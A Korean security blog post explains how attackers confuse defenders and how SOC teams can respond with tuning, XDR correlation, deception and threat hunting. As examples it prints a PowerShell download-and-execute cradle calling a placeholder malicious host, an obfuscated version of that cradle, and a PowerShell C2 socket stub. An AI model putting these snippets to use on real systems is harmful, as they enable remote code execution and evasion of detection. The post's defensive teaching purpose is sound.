본문 바로가기
정보보호 (Security)

Defense Confusion: 방어자를 눈멀게 하는 ‘혼란’의 기술과 대응

by 날으는물고기 2025. 11. 25.

Defense Confusion: 방어자를 눈멀게 하는 ‘혼란’의 기술과 대응

728x90

현대 공격자는 더 이상 “방패를 정면 돌파”하려 하지 않습니다. 대신 방패를 든 사람의 눈과 머리를 먼저 흐리게 만드는 것, 즉 방어 체계에 혼란(Confusion)을 주는 것에 집중합니다.

이 글에서는 보안 관점에서의 Defense Confusion(방어 혼란)을 세 가지 맥락에서 정리하고,

  • 공격자는 어떻게 혼란을 만들고
  • 방어자는 어디서 혼란에 빠지며
  • 조직은 어떻게 명확성(Clarity)를 회복할 수 있는지

를 실무 예시와 함께 정리를 해봅니다.

Defense Confusion(방어 혼란)이란?

보안에서 말하는 Confusion(혼란)은 단순한 감정 상태가 아니라, 정확한 판단이 구조적으로 불가능해진 상태를 의미합니다.

이 글에서는 Confusion을 아래 세 가지 층위로 나눕니다.

1) 전술적 혼란 (Tactical Confusion)

공격자가 자신의 행위나 흔적을 정상적인 시스템 활동처럼 위장하여,

  • 탐지 규칙(시그니처, YARA, 룰셋)을 피해 가고
  • 분석가의 분석 시간을 극적으로 지연시키는 기법입니다.

대표 예시

  • 난독화(Obfuscation)된 악성 스크립트
  • 정상 툴을 활용한 Living off the Land(LotL)
  • AI/ML 모델을 속이는 적대적 공격(Adversarial ML)

2) 운영적 혼란 (Operational Confusion)

보안 운영 관점에서의 혼란입니다.

  • SIEM, EDR, NDR, WAF 등에서 수천 건의 경보가 쏟아지고,
  • 오탐(False Positive)과 저위험 경보가 섞여
  • 진짜 위협을 구분하지 못하는 상태를 말합니다.

이때 분석가는 Alert Fatigue(경보 피로)에 빠지고, 결국 정말 중요한 알람을 놓치게 되는 위험이 커집니다.

3) 이론적 혼란 (Theoretical Confusion – 암호학)

암호학에서의 Confusion은 조금 다른 의미입니다.
클로드 섀넌(Claude Shannon)은 다음과 같이 정의합니다.

암호문과 평문(또는 키) 사이의 상관관계를 숨기는 성질

300x250

즉, 암호문만 보고는 키나 평문을 추측할 수 없도록, 관계를 최대한 복잡하게 만드는 것을 말합니다.

  • 방어자는 암호학적 Confusion으로 데이터를 보호하고
  • 공격자는 전술적 Confusion으로 자신의 행위를 숨기며
  • 운영자는 운영적 Confusion으로 인해 진짜와 가짜를 헷갈리게 됩니다.

이 세 층위가 동시에 얽힐 때, 조직은 “눈은 떠 있지만 아무것도 보이지 않는 상태”가 됩니다.

공격자의 무기: 어떻게 방어를 혼란시키는가?

이제 공격자가 Defense Confusion을 만들기 위해 쓰는 대표적인 기술들을 보겠습니다.

1. 난독화(Obfuscation): “코드는 살아있지만 의미는 죽는다”

개념
난독화는 코드나 스크립트의 의미를 유지한 채, 읽기와 분석을 어렵게 만드는 기술입니다.

(1) 코드 난독화 예시 – PowerShell

# 가독성이 있는 악성 코드 (예시)
$payload = (New-Object Net.WebClient).DownloadString("http://malicious.example/payload.ps1")
Invoke-Expression $payload

이를 난독화하면

# 난독화된 예시
$e = 'Invoke-Expression'
$u = 'http://malicious.example/payload.ps1'
$w = (New-Object Net.WebClient).('Down'+'loadString')($u)
&($e) $w

보안 관점 이슈

  • 시그니처 기반 탐지는 DownloadString("http://...") 패턴을 찾기 어렵습니다.
  • 분석가는 의도 파악에 더 많은 시간을 쏟게 되고,
  • 자동 분석 시스템은 “정상 PowerShell 스크립트”와 혼동할 가능성이 높아집니다.

(2) 내부 사용자 보안 가이드

  • PowerShell, Python, JavaScript 등 스크립트 실행 로그를 수집하고,
  • “인코딩된 스크립트 실행”, “비정상적인 길이/패턴의 명령” 등을 별도 룰로 탐지
    • 예: powershell.exe -enc 빈도 모니터링
  • 개발자/운영자에게
    • 운영 자동화 스크립트는 가능한 한 난독화 금지
    • 불가피한 경우, 원본(비난독화) 버전을 별도 저장소에 관리하고, 접근 통제를 설정

2. Living off the Land(LoL / LotL): 정상 도구를 악용하는 침투

개념
공격자가 추가적인 악성 파일을 투입하지 않고, 이미 OS에 포함된 정상 도구(LOLBin)를 활용해 공격을 수행하는 방식입니다.

대표 도구

  • Windows: powershell.exe, cmd.exe, wmi, bitsadmin, rundll32, reg.exe
  • Linux: bash, curl, wget, ssh, nc, python, perl

(1) LotL 공격 예시 – Windows

# PowerShell을 이용한 C2 연결 예시 (단순화)
$client = New-Object System.Net.Sockets.TCPClient("c2.example.com", 443)
$stream = $client.GetStream()
# 이후 명령 수신 및 실행 루프...

이 행위는 표면적으로는

  • “관리자가 원격 명령을 실행하는 것”과 유사해 보입니다.

(2) 혼란 포인트

  • 로그에 남는 것은 정상 프로세스 이름 (예: powershell.exe)
  • 블랙리스트 기반 차단 정책만 사용하면,
    • 차단 시: 정당한 관리자 작업까지 막을 위험
    • 허용 시: 공격자의 활동을 그대로 허용하는 결과

(3) 보안 관점 체크포인트

내부 보안 점검 시 아래 항목을 확인해 보셔야 합니다.

  1. LotL 도구 사용 기준 정의
    • “누가, 어느 서버에서, 어떤 시간대에, 어떤 옵션으로 쓸 수 있는가?”
      • 운영팀 계정만 특정 관리 서버에서 사용 허용
      • 야간/휴일 LotL 사용은 별도 알림
  2. 행위 기반 탐지(Behavior-based Detection) 적용
    • 단순히 powershell.exe 실행 여부가 아니라,
    • 외부 C2, 내부 중요 시스템 향하는 네트워크 연결,
    • Base64 인코딩 옵션 사용 등 패턴 기반 룰 필요
  3. EDR / SIEM 룰 예시
  • 규칙 아이디어
    • powershell.exe + -EncodedCommand + 외부 IP 접속 시 우선 경보
    • rundll32.exe가 비정상 경로(C:\Users\...)의 DLL 실행 시 고위험

3. AI/ML 모델 혼란 (Adversarial Attack)

보안 솔루션도 AI/ML을 적극 활용하면서, 공격자는 모델 자체를 속이는 공격을 시도합니다.

(1) 예시 시나리오

  • ML 기반 IPS/EDR이 패킷/프로세스 특성을 보고
    • “정상/악성”을 분류한다고 가정합니다.
  • 공격자는 탐지 피하기 위해
    • 특정 바이트를 살짝 섞어 특징 벡터를 왜곡 → 모델이 정상으로 오분류(Misclassification)

(2) 혼란 포인트

  • 전통적인 시그니처/룰에는 안 걸리고,
  • ML 모델은 “정상”이라고 판단
  • 운영자는 “모델이 OK라는데 굳이 차단할 이유가 있나?”라는 심리적 의존에 빠지기 쉽습니다.

(3) 보안 관점 가이드

  • “ML 모델 기반 탐지”는 보조 신호로 사용하고,
    • 고위험 자산은 여전히 정책 기반 차단을 병행
  • ML 모델 업데이트 및 튜닝 시,
    • 적대적 테스트(Adversarial Testing)를 별도 수행
    • 예: 레드팀이 모델을 상대로 우회 시도 → 우회 패턴을 룰/시그니처로 보완

방어자의 딜레마: Confusion Matrix와 오탐의 늪

보안 시스템 자체도 분류기(Classifier)입니다.
이때 자주 사용하는 개념이 바로 오차 행렬(Confusion Matrix)입니다.

1. Confusion Matrix 요약

구분 실제 공격 (True) 실제 정상 (False)
시스템 탐지 (Positive) TP (진양성): 공격 잘 잡음 FP (위양성 / 오탐): 정상인데 공격으로 오인
시스템 미탐지 (Negative) FN (위음성 / 미탐): 공격인데 못 잡음 TN (진음성): 정상 잘 무시
  • FP(오탐): SOC 피로도↑, 신뢰도↓
  • FN(미탐): 실제 침해 사고로 직결될 수 있는 치명적인 리스크

2. 실제 운영 환경에서의 문제

  1. 오탐이 많은 환경
    • 하루 수천~수만 건의 알람
    • “또 그 알람이네” → 경보 무시 습관
    • 이때 진짜 공격이 같은 룰로 들어오면 그대로 놓침
  2. 과도한 튜닝으로 인한 미탐
    • 오탐을 줄이겠다고 룰을 느슨하게 만들면
    • 알람은 줄지만, 공격도 함께 빠져나감(FN 증가)

3. 내부 보안 점검 포인트

보안 관리자 관점에서, 정기적으로 아래를 체크해야 합니다.

  1. 우리 SIEM/EDR의 위양성률(FP Rate)을 측정하고 있는가?
  2. Top 10 오탐 룰을 정기적으로 검토하고 있는가?
  3. 새로 추가한 룰에 대해
    • “검증 기간(Observation Mode)”을 두고
    • 실제 FP/FN을 측정한 뒤 운영에 반영하는 프로세스가 있는가?

근원적 이론: 암호학에서의 Confusion

이제 조금 시야를 넓혀, 암호학에서의 Confusion을 간단히 짚어 보겠습니다.

1. Claude Shannon의 Confusion & Diffusion

섀넌은 안전한 암호 시스템의 두 가지 요소를 제시합니다.

  • Confusion
    • 키와 암호문 사이의 관계를 복잡하게 만들어
    • 암호문만 보고 키를 유추하기 어렵게 하는 성질
  • Diffusion
    • 평문의 작은 변화가 암호문의 많은 부분에 영향을 미치게 하는 성질

대표 예: 블록 암호(AES 등)는

  • S-box(치환) → Confusion
  • P-box(치환, 비트/바이트 섞기) → Diffusion
    의 조합으로 안전성을 높입니다.

2. 방어자 vs 공격자 – 서로 다른 Confusion

  • 방어자(시스템, 설계자)
    • 암호학적 Confusion을 통해 데이터 보호, 키 은닉을 달성
  • 공격자
    • 전술적 Confusion으로 침투 흔적 은폐, 탐지 회피
  • 운영자(보안 관제)
    • 운영적 Confusion에 빠질 경우 보호/공격 모두 제대로 인지하지 못함

이 차이를 이해하면,

  • “암호학적 Confusion”은 필수
  • “운영/전술적 Confusion”은 해결/제거 대상
    이라는 구조가 보다 명확해집니다.

대응 전략: 혼란을 넘어 통찰(Insight)으로

이제 중요한 질문은 이것입니다.

“우리는 Defense Confusion을 어떻게 줄이고, 명확성(Clarity)를 확보할 것인가?”

대표적인 대응 전략을 세 가지로 묶어 볼 수 있습니다.

1. 가시성(Visibility)의 통합 – XDR, Data Fusion

단편적인 로그만 보면 혼란스럽습니다.

  • EDR: 엔드포인트 행위
  • NDR: 네트워크 트래픽
  • 클라우드 로그: IAM, API 호출, 리소스 변경

이들이 각자 따로 존재하면, 공격자의 전체 Kill Chain 스토리가 보이지 않습니다.

(1) XDR 관점

XDR(Extended Detection and Response)은

  • 서로 다른 보안 텔레메트리를 하나의 플랫폼으로 모아
  • “하나의 인시던트 스토리”로 엮어주는 접근입니다.

예시 플로우

  1. EDR: powershell.exe -EncodedCommand ... 실행
  2. NDR: 같은 호스트에서 외부 C2 IP 443 포트로 비정상 트래픽
  3. AD/IdP: 해당 계정이 새벽 3시에 로그인

이 세 가지를 별개 알람으로 보면

  • “그냥 관리자 작업인가?” 정도로 끝날 수 있지만,
    XDR이 이를 하나의 타임라인으로 묶어 보여주면:
  • “계정 탈취 + LotL + C2 연결”이라는 명확한 공격 스토리가 됩니다.

(2) 내부 가이드

  • “XDR 도입 여부” 이전에라도,
    • 최소한 SIEM 레벨에서
      • 호스트, 계정, 세션ID, 프로세스 상관관계를 기준으로 알람 묶기(Correlation Rule)
  • 보안팀/인프라팀/개발팀 간
    • “우리는 어떤 로그를 어디까지 모으고 있는가?”
    • “누가 그 로그에 접근할 수 있는가?”를 문서화

2. 능동적 기만(Deception Technology): 공격자를 되려 혼란스럽게

공격자가 우리를 혼란스럽게 한다면,
우리는 기만(Deception)으로 공격자를 되려 혼란에 빠뜨릴 수 있습니다.

(1) 허니팟 & 디코이

  • 허니팟 서버: 실제 서비스처럼 보이지만,
    • 실제로는 공격자 행위를 관찰하기 위한 함정 서버
  • 디코이 계정/자격증명
    • 실제 계정처럼 AD/DB에 존재하지만
    • 정상 사용자는 절대 사용하지 않도록 설계

(2) 예시

  • AD에 svc_backup_admin 같은 계정을 만들어 두고,
    • 실제 운영에는 사용하지 않음
    • 이 계정으로 로그온 시도 발생 → 100% 공격 시도로 간주
  • 내부 Git 서버에 secret-config-old.zip 같은 가짜 파일 배치
    • 접근 시 SIEM/EDR에 고위험 알람 발생

(3) 내부 정책 가이드

  • 기만 자산은
    • 실제 운영 자산과 명확히 구분되는 네이밍 룰 적용
    • 접근 발생 시, 즉각적인 인시던트 대응 플로우로 연결
  • 내부 사용자 공지
    • “이러한 계정/서버/파일은 절대 사용하지 말 것”을 명확히 알리고,
    • 오탐을 줄이기 위해 사내 운영팀과 사전 조율 필수

3. 위협 헌팅(Threat Hunting): 능동적 탐색으로 혼란을 뚫기

자동화된 시스템이 모든 것을 잡아주지는 못합니다.
그래서 위협 헌팅(Threat Hunting)이 필요합니다.

(1) Threat Hunting의 핵심

  • “알람이 떠서 본다”가 아니라
  • “이런 공격이 있을 것 같다”라는 가설을 먼저 세우고,
  • 로그/텔레메트리를 능동적으로 탐색하는 활동입니다.

예시 가설

  • “지난 2주간 가장 많이 실패한 로그인 TOP 10 계정 중,
    특정 지역 IP에서만 반복 시도되는 계정이 있는가?”
  • “업무시간 외에 특정 서버에서만 반복되는 PowerShell 실행 패턴이 있는가?”

(2) 헌팅 시 유용한 체크 포인트

  • LotL 도구 실행 패턴
    • PowerShell, WMI, rundll32.exe, wmic.exe
  • 관리자 계정의 비정상 시간대 로그인
  • EDR/AV 예외가 적용된 서버에서의 네트워크 이상 징후
  • 암호화/압축 툴(7zip, WinRAR 등)의 비정상 사용 패턴

(3) 조직 내 제도화

  • “월 1회 Threat Hunting Day”처럼 정기적인 헌팅 타임 확보
  • 헌팅 결과는
    • 새 룰/플레이북으로 환원
    • 후속 교육 자료로 활용 (운영팀, 헬프데스크 등)

결론: 명확함이 곧 보안이다

Defense Confusion은 공격자가 노리는 가장 인간적인 약점입니다.

  • 우리는 쏟아지는 경보 속에서 지치고,
  • 난독화된 코드와 LotL 패턴 속에서 판단이 흐려지며,
  • AI/ML 모델이 “정상”이라고 말해 주면 안심해 버리는 경향이 있습니다.

결국 보안의 목표는

“모든 것을 막는 것”에서
혼란(Noise)을 줄이고, 진짜 신호(Signal)을 찾아내는 것”으로 진화해야 합니다.

이를 위해서는

  1. 불필요한 오탐 줄이기 (Tuning)
    • FP 상위 룰 주기적 검토
    • 운영 환경에 맞는 탐지 기준 재정의
  2. 통합된 가시성 확보 (Integration / XDR)
    • 엔드포인트, 네트워크, 클라우드, 계정 로그를 한 화면에서 연결
    • “점”이 아닌 “스토리”로 보는 관점 전환
  3. 공격자를 역으로 속이는 전략 (Deception)
    • 허니팟, 디코이, 미끼 계정/파일로
    • 공격자의 행위를 선제적으로 포착

이 세 가지가 기반이 될 때,
우리는 비로소 혼란의 안개를 걷어내고 통찰(Insight)에 기반한 보안을 실현할 수 있습니다.

Next Action for Security Teams: 바로 할 수 있는 3단계 체크리스트

마무리로, 실제 조직에서 바로 점검해 볼 수 있는 액션 아이템을 정리합니다.

  1. SIEM/EDR 오탐율 점검
    • 최근 1~3개월 알람 기준으로
      • Top 10 탐지 룰의 FP 비율 측정
      • “운영상 의미 없는 알람”은 튜닝/비활성화/조건 변경
  2. LotL(Living off the Land) 모니터링 정책 점검
    • PowerShell, WMI, rundll32, wmic, curl/wget 등 주요 LotL 도구에 대해:
      • “누가 / 어디서 / 언제 / 어떻게 쓸 수 있는지” 정책 문서화
      • 이상 행위 탐지 룰(예: 야간+외부 접속+EncodedCommand) 존재 여부 확인
  3. Deception 준비 상태 점검
    • 허니팟/디코이 계정/디코이 파일 운영 여부 확인
    • 없다면
      • PoC 수준으로라도 “가짜 계정 + 접근 알람”부터 시도
    • 있다면
      • 접근 알람이 실제 인시던트 대응 프로세스로 연결되는지 점검

이 글의 내용을 기반으로, 조직 내부 교육자료나 보안 정책 개정 시

  • “Confusion을 줄이고 Clarity를 높이는 것”을 명시적인 목표로 설정하면,
    Defense Confusion에 더 체계적으로 대응할 수 있습니다.
728x90
그리드형(광고전용)

댓글